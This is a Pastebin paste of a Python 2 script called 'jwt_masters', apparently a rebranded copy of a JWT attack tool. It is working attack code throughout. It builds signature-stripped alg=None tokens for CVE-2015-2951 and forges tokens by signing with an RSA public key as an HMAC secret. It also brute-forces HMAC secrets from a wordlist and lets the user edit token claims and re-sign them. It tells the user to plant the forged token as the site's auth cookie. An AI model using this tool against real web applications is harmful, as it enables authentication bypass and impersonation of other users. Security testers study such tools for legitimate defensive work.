Advertisement
Guest User

Untitled

a guest
Mar 26th, 2019
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.96 KB | None | 0 0
  1. #! /usr/bin/python
  2. #
  3. # jwt_masters version 1.1
  4. # Written by Mohamed Salah & Renz Haxor
  5. # Please use responsibly...
  6. # My Facebook: Mohamed Salah
  7. # Renz Haxor Facebook: Renz Haxor
  8. #
  9.  
  10. import sys
  11. import hashlib
  12. import hmac
  13. import base64
  14. import json
  15. from collections import OrderedDict
  16.  
  17. def usage():
  18. print "Usage: $ python jwt_masters.py <JWT> (filename for dictionary or key file)\n"
  19. print "If you don't have a token, try this one:"
  20. print "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po"
  21. exit(1)
  22.  
  23. def checkSig(sig, contents):
  24. quiet = False
  25. print "Type in the key to test"
  26. key = raw_input("> ")
  27. testKey(key, sig, contents, headDict, quiet)
  28.  
  29. def checkSigKid(sig, contents):
  30. quiet = False
  31. print "\nLoading key file..."
  32. key1 = open(keyList).read()
  33. print "File loaded: "+keyList
  34. testKey(key1, sig, contents, headDict, quiet)
  35.  
  36. def crackSig(sig, contents):
  37. quiet = True
  38. print "\nLoading key dictionary..."
  39. print "File loaded: "+keyList
  40. print "Testing "+str(numLines)+" passwords..."
  41. for i in keyLst:
  42. testKey(i, sig, contents, headDict, quiet)
  43.  
  44. def testKey(key, sig, contents, headDict, quiet):
  45. if headDict["alg"] == "HS256":
  46. testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha256).digest()).strip("=")
  47. elif headDict["alg"] == "HS384":
  48. testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha384).digest()).strip("=")
  49. elif headDict["alg"] == "HS512":
  50. testSig = base64.urlsafe_b64encode(hmac.new(key,contents,hashlib.sha512).digest()).strip("=")
  51. else:
  52. print "Algorithm is not HMAC-SHA - cannot test with this tool."
  53. exit(1)
  54. if testSig == sig:
  55. if len(key) > 25:
  56. print "[+] "+key[0:25]+"...(output trimmed) is the CORRECT key!"
  57. else:
  58. print "[+] "+key+" is the CORRECT key!"
  59. exit(1)
  60. else:
  61. if quiet == False:
  62. if len(key) > 25:
  63. print "[-] "+key[0:25]+"...(output trimmed) is not the correct key"
  64. else:
  65. print "[-] "+key+" is not the correct key"
  66. return
  67.  
  68. def buildHead(alg, headDict):
  69. newHead = headDict
  70. newHead["alg"] = alg
  71. newHead = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")
  72. return newHead
  73.  
  74. def signToken(headDict, paylDict, key, keyLength):
  75. newHead = headDict
  76. newHead["alg"] = "HS"+str(keyLength)
  77. if keyLength == 384:
  78. newContents = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  79. newSig = base64.urlsafe_b64encode(hmac.new(key,newContents,hashlib.sha384).digest()).strip("=")
  80. badSig = base64.b64encode(hmac.new(key,newContents,hashlib.sha384).digest()).strip("=")
  81. elif keyLength == 512:
  82. newContents = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  83. newSig = base64.urlsafe_b64encode(hmac.new(key,newContents,hashlib.sha512).digest()).strip("=")
  84. badSig = base64.b64encode(hmac.new(key,newContents,hashlib.sha512).digest()).strip("=")
  85. else:
  86. newContents = base64.urlsafe_b64encode(json.dumps(newHead,separators=(",",":"))).strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  87. newSig = base64.urlsafe_b64encode(hmac.new(key,newContents,hashlib.sha256).digest()).strip("=")
  88. badSig = base64.b64encode(hmac.new(key,newContents,hashlib.sha256).digest()).strip("=")
  89. return newSig, badSig, newContents
  90.  
  91. def checkCVE(headDict, tok2):
  92. print "\nGenerating alg-stripped token..."
  93. alg = "None"
  94. newHead = buildHead(alg, headDict)
  95. CVEToken = newHead+"."+tok2+"."
  96. print "\nSet this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).\n(This will only be valid on unpatched implementations of JWT.)"
  97. print "\n"+CVEToken+"\n"
  98.  
  99. def checkPubKey(headDict, tok2):
  100. print "\nPlease enter the Public Key filename:"
  101. pubKey = raw_input("> ")
  102. key = open(pubKey).read()
  103. newHead = headDict
  104. newHead["alg"] = "HS256"
  105. print tok2
  106. newHead = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":"))).strip("=")
  107. newTok = newHead+"."+tok2
  108. newSig = base64.urlsafe_b64encode(hmac.new(key,newTok,hashlib.sha256).digest()).strip("=")
  109. print "\nSet this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).\n(This will only be valid on unpatched implementations of JWT.)"
  110. print "\n"+newTok+"."+newSig
  111.  
  112. def tamperToken(paylDict, headDict):
  113. print "\nToken header values:"
  114. while True:
  115. i = 0
  116. headList = [0]
  117. for pair in headDict:
  118. menuNum = i+1
  119. print "["+str(menuNum)+"] "+pair+" = "+str(headDict[pair])
  120. headList.append(pair)
  121. i += 1
  122. print "["+str(i+1)+"] *ADD A VALUE*"
  123. print "[0] Continue to next step"
  124. selection = ""
  125. print "\nPlease select a field number:\n(or 0 to Continue)"
  126. selection = input("> ")
  127. if selection<len(headList) and selection>0:
  128. print "\nCurrent value of "+headList[selection]+" is: "+str(headDict[headList[selection]])
  129. print "Please enter new value and hit ENTER"
  130. newVal = raw_input("> ")
  131. headDict[headList[selection]] = newVal
  132. elif selection == i+1:
  133. print "Please enter new Key and hit ENTER"
  134. newPair = raw_input("> ")
  135. print "Please enter new value for "+newPair+" and hit ENTER"
  136. newVal = raw_input("> ")
  137. headList.append(newPair)
  138. headDict[headList[selection]] = newVal
  139. elif selection == 0:
  140. break
  141. else:
  142. exit(1)
  143. print "\nToken payload values:"
  144. while True:
  145. i = 0
  146. paylList = [0]
  147. for pair in paylDict:
  148. menuNum = i+1
  149. print "["+str(menuNum)+"] "+pair+" = "+str(paylDict[pair])
  150. paylList.append(pair)
  151. i += 1
  152. print "[0] Continue to next step"
  153. selection = ""
  154. print "\nPlease select a field number:\n(or 0 to Continue)"
  155. selection = input("> ")
  156. if selection<len(paylList) and selection>0:
  157. print "\nCurrent value of "+paylList[selection]+" is: "+str(paylDict[paylList[selection]])
  158. print "Please enter new value and hit ENTER"
  159. newVal = raw_input("> ")
  160. paylDict[paylList[selection]] = newVal
  161. elif selection == 0:
  162. break
  163. else:
  164. exit(1)
  165. print "\nToken Signing:"
  166. print "[1] Sign token with known key"
  167. print "[2] Strip signature from token vulnerable to CVE-2015-2951"
  168. print "[3] Sign with Public Key bypass vulnerability"
  169. print "[4] Sign token with key file"
  170. print "\nPlease select an option from above (1-4):"
  171. selection = input("> ")
  172. if selection == 1:
  173. print "\nPlease enter the known key:"
  174. key = raw_input("> ")
  175. print "\nPlease enter the keylength:"
  176. print "[1] HMAC-SHA256"
  177. print "[2] HMAC-SHA384"
  178. print "[3] HMAC-SHA512"
  179. selLength = raw_input("> ")
  180. if selLength == "2":
  181. keyLength = 384
  182. elif selLength == "3":
  183. keyLength = 512
  184. else:
  185. keyLength = 256
  186. newSig, badSig, newContents = signToken(headDict, paylDict, key, keyLength)
  187. print "\nYour new forged token:"
  188. print "[+] URL safe: "+newContents+"."+newSig
  189. print "[+] Standard: "+newContents+"."+badSig+"\n"
  190. exit(1)
  191. elif selection == 2:
  192. print "\nStripped Signature"
  193. tok2 = base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  194. checkCVE(headDict, tok2)
  195. exit(1)
  196. elif selection == 3:
  197. tok2 = base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":"))).strip("=")
  198. checkPubKey(headDict, tok2)
  199. exit(1)
  200. if selection == 4:
  201. if keyList == "":
  202. print "No dictionary file provided."
  203. usage()
  204. else:
  205. print "\nLoading key file..."
  206. key1 = open(keyList).read()
  207. print "File loaded: "+keyList
  208. print "\nPlease enter the keylength:"
  209. print "[1] HMAC-SHA256"
  210. print "[2] HMAC-SHA384"
  211. print "[3] HMAC-SHA512"
  212. selLength = raw_input("> ")
  213. if selLength == "2":
  214. keyLength = 384
  215. elif selLength == "3":
  216. keyLength = 512
  217. else:
  218. keyLength = 256
  219. newSig, badSig, newContents = signToken(headDict, paylDict, key1, keyLength)
  220. print "\nYour new forged token:"
  221. print "[+] URL safe: "+newContents+"."+newSig
  222. print "[+] Standard: "+newContents+"."+badSig+"\n"
  223. exit(1)
  224. else:
  225. exit(1)
  226.  
  227.  
  228. if __name__ == '__main__':
  229. # Print logo
  230. print "\n,----.,----.,----.,----.,----.,----.,----.,----.,----.,----."
  231. print "----''----''----''----''----''----''----''----''----''----'"
  232. print " ,--.,--. ,--.,--------.,--------. ,--."
  233. print " | || | | |'--. .--''--. .--',---. ,---. | |"
  234. print ",--. | || |.'.| | | | | | | .-. || .-. || |"
  235. print "| '-' /| ,'. | | |,----.| | ' '-' '' '-' '| |"
  236. print " `-----' '--' '--' `--''----'`--' `---' `---' `--'"
  237. print ",----.,----.,----.,----.,----.,----.,----.,----.,----.,----."
  238. print "'----''----''----''----''----''----''----''----''----''----'"
  239.  
  240. # Print usage + check token validity
  241. if len(sys.argv) < 2:
  242. usage()
  243.  
  244. # Temporary variables
  245. jwt = sys.argv[1]
  246. key = ""
  247. if len(sys.argv) == 3:
  248. keyList = sys.argv[2]
  249. numLines = sum(1 for line in open(keyList) if line.rstrip())
  250. with open(keyList, "r") as f:
  251. keyLst = f.readlines()
  252. keyLst = [x.strip() for x in keyLst]
  253. else:
  254. keyList = ""
  255.  
  256. # Rejig token
  257. try:
  258. tok1, tok2, sig = jwt.split(".",3)
  259. sig = base64.urlsafe_b64encode(base64.urlsafe_b64decode(sig + "=" * (-len(sig) % 4))).strip("=")
  260. contents = tok1+"."+tok2
  261. head = base64.b64decode(tok1 + "=" * (-len(tok1) % 4))
  262. payl = base64.b64decode(tok2 + "=" * (-len(tok2) % 4))
  263. headDict = json.loads(head, object_pairs_hook=OrderedDict)
  264. paylDict = json.loads(payl, object_pairs_hook=OrderedDict)
  265. except:
  266. print "Oh noes! Invalid token"
  267. exit(1)
  268.  
  269. # Main menu
  270. print "\nToken header values:"
  271. for i in headDict:
  272. print "[+] "+i+" = "+str(headDict[i])
  273. print "\nToken payload values:"
  274. for i in paylDict:
  275. print "[+] "+i+" = "+str(paylDict[i])
  276. print "\n######################################################"
  277. print "# Options: #"
  278. print "# 1: Check CVE-2015-2951 - alg=None vulnerability #"
  279. print "# 2: Check for Public Key bypass in RSA mode #"
  280. print "# 3: Check signature against a key #"
  281. print "# 4: Check signature against a key file (\"kid\") #"
  282. print "# 5: Crack signature with supplied dictionary file #"
  283. print "# 6: Tamper with payload data (key required to sign) #"
  284. print "# 0: Quit #"
  285. print "######################################################"
  286. print "\nPlease make a selection (1-6)"
  287. selection = input("> ")
  288. if selection == 1:
  289. checkCVE(headDict, tok2)
  290. elif selection == 2:
  291. checkPubKey(headDict, tok2)
  292. elif selection == 3:
  293. checkSig(sig, contents)
  294. elif selection == 4:
  295. if keyList != "":
  296. checkSigKid(sig, contents)
  297. else:
  298. print "No dictionary file provided."
  299. usage()
  300. elif selection == 5:
  301. if keyList != "":
  302. crackSig(sig, contents)
  303. else:
  304. print "No dictionary file provided."
  305. usage()
  306. elif selection == 6:
  307. tamperToken(paylDict, headDict)
  308. else:
  309. exit(1)
  310. exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement